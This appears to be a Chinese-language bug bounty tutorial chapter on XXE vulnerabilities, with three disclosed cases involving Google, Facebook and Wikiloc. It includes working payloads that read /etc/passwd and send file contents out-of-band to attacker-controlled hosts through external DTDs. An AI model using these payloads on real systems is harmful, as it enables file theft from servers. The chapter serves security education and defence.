XML 外部實體(XML External Entity,XXE)漏洞發生在應用程式解析 XML 時處理外部實體(external entities)的方式有誤。攻擊者可藉此從伺服器讀取檔案,或讓伺服器發出對攻擊者控制目標的請求。

XML 與 DTD 基礎#

XML 是什麼#

XML 是一種元語言(metalanguage):用來描述其他語言的結構。HTML 規定資料怎麼呈現,XML 規定資料怎麼結構化。XML 沒有預先定義的標籤,作者自己定義:

<?xml version="1.0" encoding="UTF-8"?>
<Jobs>
  <Job>
    <Title>Hacker</Title>
    <Compensation>1000000</Compensation>
    <Responsibility fundamental="1">Shot web</Responsibility>
  </Job>
</Jobs>

特性:

  • 第一行是宣告版本與編碼
  • 所有標籤必須有對應結束標籤
  • 標籤可帶屬性(如 fundamental="1"

DTD(Document Type Definition)#

DTD 定義 XML 文件中合法的元素、屬性與巢狀規則。可以是外部 DTD內部 DTD

外部 DTD#

<!DOCTYPE note SYSTEM "jobs.dtd">

SYSTEM 是關鍵字,告訴解析器去抓 jobs.dtd 檔案。

內部 DTD#

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Jobs [
  <!ELEMENT Jobs (Job)*>
  <!ELEMENT Job (Title, Compensation, Responsibility)>
  <!ELEMENT Title (#PCDATA)>
  <!ELEMENT Compensation (#PCDATA)>
  <!ELEMENT Responsibility (#PCDATA)>
  <!ATTLIST Responsibility fundamental CDATA "0">
]>
<Jobs>...</Jobs>

XML Entities(XML 實體)#

實體是 XML 文件中的「佔位符」。用 !ENTITY 宣告,前綴 &、結尾 ; 引用:

<!ENTITY url SYSTEM "website.txt">
...
<Website>&url;</Website>

& 用於在 XML 文件中引用;% 則用於在 DTD 內部引用——這個區別在後續攻擊中會反覆用到。

XXE 攻擊原理#

當應用程式解析 XML 時未停用外部實體,攻擊者就能讓 XML 引用伺服器上的檔案或對外連線。

直接讀取本機檔案#

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>

若回應會把 <foo> 內容輸出回來,就會直接拿到 /etc/passwd

Out-of-Band(OOB)讀檔#

當應用不回顯解析結果時,需要讓檔案經由 HTTP 請求送到攻擊者伺服器:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY % xxe SYSTEM "file:///etc/passwd" >
  <!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]>
<foo>&callhome;</foo>

解析時 %xxe 會展開成 /etc/passwd 的內容,再被當成 URL 參數送到 malicious.com——攻擊者只要查 access log 就拿到檔案。

防護方式:禁用 XML 外部實體解析。OWASP 提供各語言的關閉方式:https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

案例 1:Read Access to Google#

漏洞描述#

Google Toolbar 按鈕庫允許開發者上傳描述按鈕的 XML 檔,搜尋結果頁會渲染按鈕說明。Detectify 團隊送入帶有外部實體的 XML,並用 <!ENTITY ... SYSTEM "file:///etc/passwd">——成功在搜尋結果中看到伺服器的 /etc/passwd 內容。

Takeaways#

「再大的公司也會出錯」。任何接受 XML 的端點都應該測 XXE,讀取 /etc/passwd 是最常見的 PoC。

案例 2:Facebook XXE with Microsoft Word#

  • 難度:高
  • URLhttps://facebook.com/careers/
  • 回報日期:2014 年 4 月
  • 獎金:$6,300

背景#

.docx.xlsx.pptx 本質上都是「壓縮的 XML 檔」。研究者 Mohamed Ramadan 發現 Facebook 的 careers 頁允許上傳 .docx,便用 7-Zip 解開檔案,在裡頭某支 XML 加入 payload:

<!DOCTYPE root [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://197.37.102.90/ext.dtd">
  %dtd;
  %send;
]>

他在自己伺服器放上 ext.dtd

<!ENTITY send SYSTEM 'http://197.37.102.90/FACEBOOK-HACKED?%file;'>

並用 Python 啟動 SimpleHTTPServer 監聽。送出後伺服器收到:

173.252.71.129 - - "GET /ext.dtd HTTP/1.0" 200 -
173.252.71.129 - - "GET /FACEBOOK-HACKED? HTTP/1.0" 404

雖然 /etc/passwd 沒實際附在 URL(檔案不存在或無法讀),但收到外部 DTD 請求本身已證明 XML 解析器解析了攻擊者控制的 XML 實體,XXE 漏洞成立。

Ramadan 一度被 Facebook 駁回(懷疑只是員工點了釣魚連結觸發 SSRF)。他堅持說明真正成因,最終 Facebook 確認並付獎金。

Takeaways#

  • 看到 .docx / .xlsx / .pptx / 任何 .zip 內含 XML 的格式,都可拆開塞 payload
  • 不要怕被回拒——若你確信漏洞為真,禮貌但堅定地解釋成因

案例 3:Wikiloc XXE#

漏洞描述#

Wikiloc 是戶外路徑分享平台,允許上傳 .gpx(XML 格式的軌跡檔)。研究者 David Sopas 先下載合法 .gpx,保留結構並插入:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://www.davidsopas.com/XXE" > ]>
...
<trk>
  <name>&xxe;</name>
  ...

伺服器發出對 Sopas 域名的 GET——XXE 確認。接著升級為讀檔:

<!DOCTYPE roottag [
  <!ENTITY % file SYSTEM "file:///etc/issue">
  <!ENTITY % dtd SYSTEM "http://www.davidsopas.com/poc/xxe.dtd">
  %dtd;
]>
...
<name>&send;</name>

外部 xxe.dtd 內容:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://www.davidsopas.com/XXE?%file;'>">
%all;

整個解析過程:

  1. Wikiloc 解析內部 DTD,遇到 %dtd; → 對 Sopas 伺服器要 xxe.dtd
  2. 取回 xxe.dtd 後遇到 %all; → 定義 &send;,其中嵌入 %file;
  3. %file; 展開為 /etc/issue 內容
  4. 文件中 &send; 解析時,把 /etc/issue 內容當參數送回 Sopas 伺服器
  5. Sopas 在 access log 拿到檔案內容

Takeaways#

把 payload 嵌進站台原本期望的 XML 結構裡,繞過格式驗證。同時為自己伺服器準備 DTD 回傳檔案,是 OOB 讀檔的標準套路。

章末總結#

  • XXE 的關鍵是 XML 解析器對外部實體的處理
  • 三種攻擊形式:
    • 直接讀檔:回應若回顯解析結果,可直接讀本機檔案
    • OOB 外洩:把檔案內容當作 URL 參數送回攻擊者伺服器
    • Blind 探測:透過外部 HTTP 請求驗證解析確實發生
  • 注意所有「會接 XML」的入口:
    • 直接 XML 上傳
    • .docx / .xlsx / .pptx 等 Office 檔
    • .gpx.svg.kml.rss、SAML、SOAP
  • 防護:禁用外部實體解析(DOCTYPE、ENTITY、ELEMENT);OWASP 提供各語言實作指引
  • PoC 點到為止——讀 /etc/passwd/etc/issue 即可